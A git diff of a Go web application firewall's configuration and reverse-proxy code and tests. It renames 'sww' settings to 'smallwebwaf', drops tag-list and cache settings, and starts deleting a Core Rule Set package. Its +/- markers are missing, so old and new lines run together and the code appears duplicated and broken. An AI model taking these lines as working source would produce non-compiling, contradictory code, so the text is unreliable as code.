{alertWebhookURL, "https://alerts.example:0/"},
{alertWebhookURL, "https://alerts.example:65536/"},
{alertSlackWebhookURL, "hooks.slack.example/services/T0123"},
{alertSlackWebhookURL, "https://user:password@hooks.slack.example/"},
{alertNtfyURL, "ntfy://ntfy.example/sww-alerts"},
{alertNtfyURL, "https://ntfy.example/sww-alerts#top"},
{alertNtfyURL, "ntfy://ntfy.example/smallwebwaf-alerts"},
{alertNtfyURL, "https://ntfy.example/smallwebwaf-alerts#top"},
{alertWebhookHeaders, "Authorization"},
{alertWebhookHeaders, "X Team:ops"},
{alertWebhookHeaders, ":ops"},
@@ -1008,7 +994,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
want := alertWebhookURL + ": is not an http or https URL without a user or " +
"a fragment, such as https://alerts.example/sww"
"a fragment, such as https://alerts.example/smallwebwaf"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -1022,7 +1008,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
cfg := fromEnvironment(t, environment{
alertSlackWebhookURL: "https://hooks.slack.example/services/T0123/B4567/abcdef",
alertNtfyURL: "https://ntfy.example/sww-alerts",
alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts",
alertNtfyToken: token,
})
@@ -1041,7 +1027,7 @@ func TestSlackAndNtfySettingsAreLoggedWithoutTheirSecrets(t *testing.T) {
}
}
for _, secret := range []string{"T0123", "sww-alerts", token} {
for _, secret := range []string{"T0123", "smallwebwaf-alerts", token} {
if strings.Contains(logged, secret) {
t.Errorf("%s in the settings logged: %s", secret, logged)
}
@@ -1072,7 +1058,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
const name = "fsn1app1\r"
_, err := config.FromEnvironment(environment{
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
instanceName: name, alertNtfyURL: "https://ntfy.example/smallwebwaf-alerts",
}.lookupEnv)
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
@@ -1107,15 +1093,15 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
}
}
func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
func TestCodeOnBothCountryListsStopsTheStart(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{
tagDeny: "country=cn,country=ru",
deniedCountries: "cn,ru",
allowedCountries: "de,RU",
}.lookupEnv)
if err == nil {
t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
t.Fatal("ru on both country lists was accepted")
}
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
@@ -1186,11 +1172,12 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
t.Parallel()
for name, value := range map[string]string{
deniedCountries: "kp",
allowedCountries: "de",
addLookupHeaders: enabled,
tagDeny: "country=KP",
tagLimitPercent: "asn=64496:50",
asnLimitPercentURL: asnURL,
asnLimitPercent: "AS64496:50",
countryLimitPercent: "cn:25",
asnBytesPercent: "AS64496:50",
countryBytesPercent: "cn:25",
unknownLimitPercent: "99",
@@ -1213,13 +1200,12 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
}
// Set empty, the lists need nothing looked up, and nor does
// SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
// lookup does not give, an anomaly threshold per AS number that is off,
// any other anomaly threshold, or a blocklist.
// SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly
// threshold per AS number that is off, any other anomaly threshold, or
// a blocklist.
env := environment{
lookupSource: off, allowedCountries: "", asnBytesPercent: "",
tagLists: "torexit=https://example.com/tor.txt,vpn=https://example.com/vpn.txt",
tagDeny: torExitTag, tagLimitPercent: "vpn:50",
lookupSource: off, deniedCountries: "", allowedCountries: "",
asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "",
countryBytesPercent: "", unknownLimitPercent: "100", asnLimitPercentURL: "",
blocklistURLs: dropURL,
}
@@ -1365,251 +1351,34 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
}
}
// torExitTag, zenTag and exploitTag are tags these tests name.
const (
torExitTag = "torexit"
zenTag = "dnsbl=zen.example"
exploitTag = "exploitsignature"
)
func TestTagSettingsAsSet(t *testing.T) {
t.Parallel()
const torURL = "https://example.com/tor.txt"
// Names and tags in either case, an AS number with leading zeros, and a
// name holding a =.
cfg := fromEnvironment(t, environment{
tagLists: "TorExit=" + torURL +
", vpn=mullvad=https://example.com/mullvad.txt",
dnsblZones: "Zen.example",
tagDeny: "TorExit, Country=kp, asn=014061",
tagLimitPercent: "vpn=mullvad :50, asn=014061:25, COUNTRY=cn:1, dnsbl=zen.example:99",
})
wantLists := []config.TagList{
{Name: torExitTag, URL: torURL},
{Name: "vpn=mullvad", URL: "https://example.com/mullvad.txt"},
}
if !slices.Equal(cfg.TagLists, wantLists) {
t.Errorf("%s gave %+v, want %+v", tagLists, cfg.TagLists, wantLists)
}
wantDeny := []string{torExitTag, "country=KP", "asn=14061"}
if !slices.Equal(cfg.TagDeny, wantDeny) {
t.Errorf("%s gave %v, want %v", tagDeny, cfg.TagDeny, wantDeny)
}
wantPercents := map[string]int64{
"vpn=mullvad": 50, "asn=14061": 25, "country=CN": 1, zenTag: 99,
}
if !maps.Equal(cfg.TagLimitPercent, wantPercents) {
t.Errorf("%s gave %v, want %v", tagLimitPercent, cfg.TagLimitPercent, wantPercents)
}
}
func TestRouteWatchURLAndPrefixTags(t *testing.T) {
t.Parallel()
const rw = "https://routewatch.example"
if cfg := fromEnvironment(t, environment{}); cfg.RouteWatchURL != "" {
t.Errorf("default %s is %q, want unset", routeWatchURL, cfg.RouteWatchURL)
}
cfg := fromEnvironment(t, environment{
routeWatchURL: rw, tagDeny: "prefix=2001:DB8::/32",
tagLimitPercent: "prefix=192.0.2.0/24:50",
})
wantDeny := []string{"prefix=2001:db8::/32"}
if cfg.RouteWatchURL != rw || !slices.Equal(cfg.TagDeny, wantDeny) ||
cfg.TagLimitPercent["prefix=192.0.2.0/24"] != 50 {
t.Errorf("gave %q, %v, %v", cfg.RouteWatchURL, cfg.TagDeny, cfg.TagLimitPercent)
}
// routewatch gives asn= tags too, so an asn= tag needs no lookups while it is set.
fromEnvironment(t, environment{
lookupSource: off, routeWatchURL: rw, tagDeny: "asn=64496",
})
for _, stopped := range []struct {
env environment
name string
}{
{environment{routeWatchURL: "ftp://routewatch.example"}, routeWatchURL},
{environment{routeWatchURL: "routewatch.example"}, routeWatchURL},
{environment{tagDeny: "prefix=192.0.2.0/24"}, tagDeny},
{environment{routeWatchURL: rw, tagDeny: "prefix=nowhere"}, tagDeny},
{environment{routeWatchURL: rw, tagDeny: "prefix=192.0.2.5/24"}, tagDeny},
{
environment{routeWatchURL: rw, tagLimitPercent: "prefix=192.0.2.0/33:50"},
tagLimitPercent,
},
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
} {
_, err := config.FromEnvironment(stopped.env.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
}
}
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
_, err := config.FromEnvironment(badURL.lookupEnv)
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
"without a user or a fragment, such as https://routewatch.example"
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
}
func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
t.Parallel()
const (
list = "torexit=https://example.com/tor.txt"
key = "abc123"
zone = key + ".xbl.dq.spamhaus.net"
masked = "********.xbl.dq.spamhaus.net"
)
for _, tc := range []struct {
name string
env environment
want string // "" is accepted
}{
{"a list's name", environment{tagLists: list, tagDeny: torExitTag}, ""},
{
"a mistyped list's name", environment{tagLists: list, tagDeny: "torexti"},
`"torexti"`,
},
{"a masked zone", environment{dnsblZones: zone, tagDeny: "dnsbl=" + masked}, ""},
{
"a zone with its key", environment{dnsblZones: zone, tagDeny: "dnsbl=" + zone},
masked,
},
{"another zone", environment{dnsblZones: zone, tagDeny: zenTag}, zenTag},
{
"abuseipdb with a key",
environment{abuseIPDBKey: "k", tagLimitPercent: "abuseipdb:50"}, "",
},
{"crowdsec, though a list has its name", environment{
tagLists: "crowdsec=https://example.com/c.txt", tagDeny: "crowdsec",
}, `"crowdsec" cannot be used`},
{exploitTag, environment{tagDeny: exploitTag}, ""},
{
exploitTag + " with rule files off",
environment{tagDeny: exploitTag, rulesEnabled: disabled}, "",
},
{
exploitTag + " with the Core Rule Set off",
environment{tagDeny: exploitTag, wafMode: off}, "",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.lookupEnv)
switch {
case tc.want == "" && err != nil:
t.Errorf("error %v, want none", err)
case tc.want != "" && (err == nil || !strings.Contains(err.Error(), tc.want)):
t.Errorf("error %v, want one holding %s", err, tc.want)
case err != nil && strings.Contains(err.Error(), key):
t.Errorf("error %v shows the zone's key", err)
}
})
}
}
func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
t.Parallel()
const (
tag = "dnsbl=" + spamhaus
emptyItem = "has an empty item in its list"
twice = `"` + spamhausMasked + `" is listed twice`
)
for _, tc := range []struct{ name, value, want string }{
{tagDeny, tag + "," + tag, twice},
{tagDeny, tag + ",,", emptyItem},
{
tagLimitPercent, tag,
`"` + spamhausMasked + `" is not a tag, : and a percentage, ` +
"such as vpn:50 or asn=14061:25",
},
{
tagLimitPercent, "50:" + tag,
`"` + spamhausMasked + `" is not a percentage from 1 to 99`,
},
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
{tagLimitPercent, tag + ":50,,", emptyItem},
} {
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("%s=%s gave the error %v, want %s", tc.name, tc.value, err, want)
}
}
}
func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
t.Parallel()
const lapi = "http://172.17.0.1:8080"
for _, tc := range []struct {
name, listURL string
env environment
}{
{"a blocklist", dropURL, environment{blocklistURLs: dropURL}},
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
{
"the CrowdSec decision list", lapi + "/v1/decisions",
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
tc.env[tagLists] = "dup=" + tc.listURL
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestBiasedThresholdsAsSet(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{})
if len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
if len(cfg.ASNLimitPercent) != 0 || len(cfg.CountryLimitPercent) != 0 ||
len(cfg.ASNBytesPercent) != 0 || len(cfg.CountryBytesPercent) != 0 ||
cfg.UnknownLimitPercent != 100 {
t.Errorf("biased thresholds %v, %v and %d by default, "+
"want two empty lists and 100",
t.Errorf("biased thresholds %v, %v, %v, %v and %d by default, "+
"want four empty lists and 100", cfg.ASNLimitPercent, cfg.CountryLimitPercent,
cfg.ASNBytesPercent, cfg.CountryBytesPercent, cfg.UnknownLimitPercent)
}
// AS numbers and countries in either case, an AS number with leading
// zeros, 0 and 100.
cfg = fromEnvironment(t, environment{
asnLimitPercent: "AS14061:50, as16276:0,AS045102:100",
countryLimitPercent: "cn:25,RU:50",
asnBytesPercent: "as16276:75",
countryBytesPercent: "ru:10",
unknownLimitPercent: "0",
})
for name, tc := range map[string]struct{ got, want map[string]int64 }{
asnLimitPercent: {
cfg.ASNLimitPercent,
map[string]int64{"AS14061": 50, "AS16276": 0, "AS45102": 100},
},
countryLimitPercent: {cfg.CountryLimitPercent, map[string]int64{"CN": 25, "RU": 50}},
asnBytesPercent: {cfg.ASNBytesPercent, map[string]int64{"AS16276": 75}},
countryBytesPercent: {cfg.CountryBytesPercent, map[string]int64{"RU": 10}},
} {
@@ -1633,16 +1402,16 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
)
for _, tc := range []struct{ name, value, want string }{
{asnBytesPercent, "14061:50", `"14061"` + notASN},
{asnBytesPercent, "AS4294967296:50", `"AS4294967296"` + notASN},
{asnBytesPercent, "AS14061", `"AS14061"` + notItem},
{asnBytesPercent, "AS14061:101", `"101"` + notPercent},
{asnBytesPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`},
{asnLimitPercent, "14061:50", `"14061"` + notASN},
{asnLimitPercent, "AS4294967296:50", `"AS4294967296"` + notASN},
{asnLimitPercent, "AS14061", `"AS14061"` + notItem},
{asnLimitPercent, "AS14061:101", `"101"` + notPercent},
{asnLimitPercent, "AS14061:50,as14061:25", `"as14061" is listed twice`},
{
countryBytesPercent, "nk:25",
countryLimitPercent, "nk:25",
`"nk" is not a two-letter country code such as de or kp`,
},
{countryBytesPercent, "cn:25,CN:50", `"CN" is listed twice`},
{countryLimitPercent, "cn:25,CN:50", `"CN" is listed twice`},
{asnBytesPercent, "AS14061:-1", `"-1"` + notPercent},
{countryBytesPercent, "cn:50%", `"50%"` + notPercent},
{unknownLimitPercent, "101", `"101"` + notPercent},
@@ -1669,7 +1438,7 @@ const (
asnURL = "https://lists.example/asn.txt"
)
// The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
// The actions of SWWAF_BLOCKLIST_ACTION, as Config gives them.
const (
actionDeny = "deny"
actionLimit = "limit"
@@ -1765,7 +1534,7 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
}.lookupEnv)
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWWAF_BLOCKLIST_URLS too`
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -2068,7 +1837,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080"
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
`SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too`
)
for _, tc := range []struct {
@@ -2230,37 +1999,23 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{lookupSource, "ipinfo"}, {lookupSource, "GeoJS"}, {lookupSource, ""},
{lookupTimeout, off}, {lookupTimeout, "0s"}, {lookupTimeout, "1"},
{addLookupHeaders, "yes"},
{allowedCountries, "nk"},
{allowedCountries, "kp,,ir"},
{allowedCountries, "prk"},
{allowedCountries, "408"},
{allowedCountries, "k"},
{allowedCountries, "eu"},
{allowedCountries, "un"},
{allowedCountries, "su"},
{deniedCountries, "nk"},
{deniedCountries, "kp,,ir"},
{deniedCountries, "prk"},
{deniedCountries, "408"},
{deniedCountries, "k"},
{deniedCountries, "eu"},
{deniedCountries, "un"},
{deniedCountries, "su"},
{allowedCountries, "ac"},
{allowedCountries, "uk"},
{allowedCountries, "zz"},
{allowedCountries, "de,germany"},
{asnBytesPercent, "AS14061:50,,AS16276:50"}, {asnBytesPercent, "ASX:50"},
{asnBytesPercent, "AS14061:"}, {asnBytesPercent, "AS14061 :50"},
{asnBytesPercent, "AS14061:1.5"}, {asnBytesPercent, "AS-1:50"},
{countryBytesPercent, "cn"}, {countryBytesPercent, "cn:"},
{countryBytesPercent, "cn:25:50"}, {countryBytesPercent, "china:25"},
{tagDeny, "a,,b"}, {tagDeny, "country=nk"}, {tagDeny, "asn=abc"},
{tagDeny, "asn="}, {tagDeny, "torexit,TOREXIT"}, {tagDeny, "torexti"},
{tagDeny, zenTag}, {tagDeny, "abuseipdb"}, {tagDeny, "crowdsec"},
{tagLimitPercent, "torexti:50"}, {tagLimitPercent, "dnsbl=zen.example:50"},
{tagLimitPercent, "abuseipdb:50"}, {tagLimitPercent, "crowdsec:50"},
{tagLimitPercent, "vpn :50"}, {tagLimitPercent, "vpn"}, {tagLimitPercent, ":50"},
{tagLimitPercent, "vpn:"}, {tagLimitPercent, "vpn:0"}, {tagLimitPercent, "vpn:100"},
{tagLimitPercent, "vpn:1.5"}, {tagLimitPercent, "vpn:50,VPN:25"},
{tagLimitPercent, "exploitsignature:50"}, {tagLimitPercent, "asn=abc:50"},
{tagLists, torExitTag}, {tagLists, "=https://example.com/a.txt"},
{tagLists, "a,b=https://example.com/a.txt"},
{tagLists, "a=ftp://example.com/a.txt"},
{tagLists, "a=https://example.com/a.txt,A=https://example.com/b.txt"},
{tagLists, "a=https://example.com/a.txt,b=https://example.com/a.txt"},
{asnLimitPercent, "AS14061:50,,AS16276:50"}, {asnLimitPercent, "ASX:50"},
{asnLimitPercent, "AS14061:"}, {asnLimitPercent, "AS14061 :50"},
{asnLimitPercent, "AS14061:1.5"}, {asnLimitPercent, "AS-1:50"},
{countryLimitPercent, "cn"}, {countryLimitPercent, "cn:"},
{countryLimitPercent, "cn:25:50"}, {countryLimitPercent, "china:25"},
{asnBytesPercent, "AS14061:101"}, {countryBytesPercent, "su:50"},
{unknownLimitPercent, ""}, {unknownLimitPercent, "-1"},
{unknownLimitPercent, "50%"},
@@ -2272,25 +2027,6 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
{rulesEnabled, "yes"}, {rulesEnabled, "True"},
})
wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t)
}
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
// files off, and either setting turning off the Core Rule Set, the tag
// exploitsignature in SWW_TAG_DENY stops the start.
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
t.Helper()
for _, name := range []string{wafMode, wafAnomalyThreshold} {
_, err := config.FromEnvironment(environment{
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
}.lookupEnv)
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
name, err, tagDeny)
}
}
}
func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
@@ -2303,10 +2039,9 @@ func TestInvalidBanOrStateValueStopsTheStart(t *testing.T) {
{maxBanDuration, off}, {maxBanDuration, "1w"}, {attackBanDuration, off},
{maxBans, off}, {maxBans, "0"}, {maxBans, "5K"},
{banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"},
{stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/sww"},
{stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"},
{stateWriteDelay, off}, {stateWriteDelay, "0s"},
{stateCounterInterval, off}, {stateCounterInterval, "15"},
{cacheDir, ""}, {cacheDir, "cache"}, {cacheDir, "./var/cache/sww"},
})
}
@@ -2431,7 +2166,7 @@ func TestSettingFromFileIsCheckedAsTheSettingItself(t *testing.T) {
}.lookupEnv)
want = logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
`characters without a space, such as blog`
`characters without a space, such as gitea`
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
@@ -2546,11 +2281,11 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
lookupSource: defaultLookupSource,
lookupDBPath: "",
lookupTimeout: "800ms",
addLookupHeaders: disabled,
addLookupHeaders: "false",
deniedCountries: "",
allowedCountries: "",
tagLists: "",
tagDeny: "",
tagLimitPercent: "",
asnLimitPercent: "",
countryLimitPercent: "",
asnBytesPercent: "",
countryBytesPercent: "",
unknownLimitPercent: "100",
@@ -2566,7 +2301,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
reputationAction: "limit:25",
reputationCacheTTL: defaultReputationCacheTTL,
reputationTimeout: "2s",
routeWatchURL: "",
crowdSecURL: "",
crowdSecKey: "",
banResponse: "403",
@@ -2576,17 +2310,16 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
attackBanDuration: "7d",
maxBans: "5000",
banScopeV4Prefix: "32",
stateDir: "/var/lib/sww",
stateDir: "/var/lib/smallwebwaf",
stateWriteDelay: "10s",
stateCounterInterval: "15m",
cacheDir: "/var/cache/sww",
adminToken: "",
metricsToken: "",
metricsTopN: "50",
instanceName: hostname,
logRequestHeaders: defaultLogRequestHeaders,
logLevel: "info",
rulesDir: "/etc/sww/rules.d",
rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
@@ -2594,7 +2327,6 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
exclusionsFile: "",
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
@@ -2680,8 +2412,8 @@ func wantLookupSettings(t *testing.T, got *config.Config, want config.Config) {
}
}
// wantBanSettings checks the settings for bans, the state and cache
// files, the metrics and the rule files.
// wantBanSettings checks the settings for bans, the state files, the
// metrics and the rule files.
func wantBanSettings(t *testing.T, got *config.Config, want config.Config) {
t.Helper()
@@ -2700,7 +2432,11 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) {
got.RulesDir, got.RulesEnabled, want.RulesDir, want.RulesEnabled)
}
wantStateSettings(t, got, want)
if got.StateDir != want.StateDir ||
got.StateWriteDelay != want.StateWriteDelay ||
got.StateCounterInterval != want.StateCounterInterval {
t.Errorf("state settings\n%+v\nwant\n%+v", got, want)
}
if got.MetricsToken != want.MetricsToken || got.MetricsTopN != want.MetricsTopN {
t.Errorf("metrics token %q and top %d, want %q and %d",
@@ -2708,18 +2444,6 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) {
}
}
// wantStateSettings checks the settings for the state and cache files.
func wantStateSettings(t *testing.T, got *config.Config, want config.Config) {
t.Helper()
if got.StateDir != want.StateDir ||
got.StateWriteDelay != want.StateWriteDelay ||
got.StateCounterInterval != want.StateCounterInterval ||
got.CacheDir != want.CacheDir {
t.Errorf("state settings\n%+v\nwant\n%+v", got, want)
}
}
// wantNetblocks checks a list of netblocks.
func wantNetblocks(t *testing.T, got []netip.Prefix, want ...string) {
t.Helper()
+7 -54
View File
@@ -12,7 +12,7 @@ import (
"time"
)
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
// RProxy is the settings of `smallwebwaf rproxy`. A size or time limit of zero
// is off.
type RProxy struct {
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
@@ -22,12 +22,12 @@ type RProxy struct {
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
// (SWRP_TRUSTED_PROXIES).
TrustedProxies []netip.Prefix
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
// WAFBackend is servewaf's URL (SWRP_WAF_BACKEND).
WAFBackend *url.URL
// Timeout is how long rproxy waits for waf's answer to a question,
// Timeout is how long rproxy waits for servewaf's answer to a question,
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
Timeout time.Duration
// DefaultDisposition is what is done with a request when waf cannot be
// DefaultDisposition is what is done with a request when servewaf cannot be
// connected to, does not answer at all, or does not answer within Timeout:
// allow or deny (SWRP_DEFAULT_DISPOSITION).
DefaultDisposition string
@@ -48,19 +48,9 @@ type RProxy struct {
settings []slog.Attr
}
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
const defaultUpstreamURL = "http://127.0.0.1:8081"
// privateRanges are the private address ranges, the default trusted
// proxies.
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
var (
errNotUpstreamURL = errors.New(
"is not a URL with only a scheme, a host and an optional port, " +
"such as http://127.0.0.1:8081")
errNeedsWAFBackend = errors.New(
"is required: it is waf's URL, such as http://waf:8080")
"is required: it is servewaf's URL, such as http://servewaf:8080")
errNotDisposition = errors.New("is not allow or deny")
errNotMilliseconds = errors.New(
"is not a whole number of milliseconds above zero, such as 2000")
@@ -134,15 +124,7 @@ func (c *RProxy) LogValue() slog.Value {
return slog.GroupValue(c.settings...)
}
// appURL reads a setting that is the app's URL.
func (e *environment) appURL(name, defaultValue string) *url.URL {
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
e.check(name, err)
return upstream
}
// wafBackend reads the setting that is waf's URL, which must be set.
// wafBackend reads the setting that is servewaf's URL, which must be set.
func (e *environment) wafBackend(name string) *url.URL {
value := e.value(name, "")
if value == "" {
@@ -157,7 +139,7 @@ func (e *environment) wafBackend(name string) *url.URL {
return backend
}
// disposition reads the setting that is what is done with a request when waf
// disposition reads the setting that is what is done with a request when servewaf
// cannot be connected to, does not answer at all, or does not answer in time:
// allow or deny.
func (e *environment) disposition(name, defaultValue string) string {
@@ -208,32 +190,3 @@ func parseMilliseconds(value string) (time.Duration, bool) {
return time.Duration(n) * time.Millisecond, true
}
// parseUpstreamURL reads the app's URL: http or https, a host and an
// optional port from 1 to 65535, and nothing else, since the request's
// own path and query go to the app unchanged.
func parseUpstreamURL(value string) (*url.URL, error) {
upstream, err := url.Parse(value)
if err != nil {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
upstream.Hostname() != "" && upstream.User == nil &&
upstream.Opaque == "" &&
(upstream.Path == "" || upstream.Path == "/") &&
upstream.RawQuery == "" &&
upstream.Fragment == ""
if !onlySchemeAndHost {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
if upstream.Port() != "" {
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
if err != nil || port == 0 {
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
}
}
return upstream, nil
}
+3 -3
View File
@@ -24,7 +24,7 @@ const (
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
backendURL = "http://waf:8080"
backendURL = "http://servewaf:8080"
rproxyDefaultAddr = ":8080"
rproxyDefaultApp = "http://127.0.0.1:8081"
notASize = "a lot"
@@ -114,8 +114,8 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
name, value string
}{
{wafBackend, ""},
{wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"},
{wafBackend, "servewaf:8080"},
{wafBackend, "http://servewaf:8080/path"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
File diff suppressed because it is too large. Load diff
-561
View File
@@ -1,561 +0,0 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the sixteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package coreruleset
import (
_ "embed"
"errors"
"fmt"
"io"
"net/http"
"net/netip"
"os"
"regexp"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, forgejoExclusions for the tenth, and
// ghostExclusions for the eleventh.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
// setting switches one off. Coraza joins a line ending in \ to the next,
// without the spaces at the start of the next.
const directives = `
# The engine only detects. sww compares the request's anomaly
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
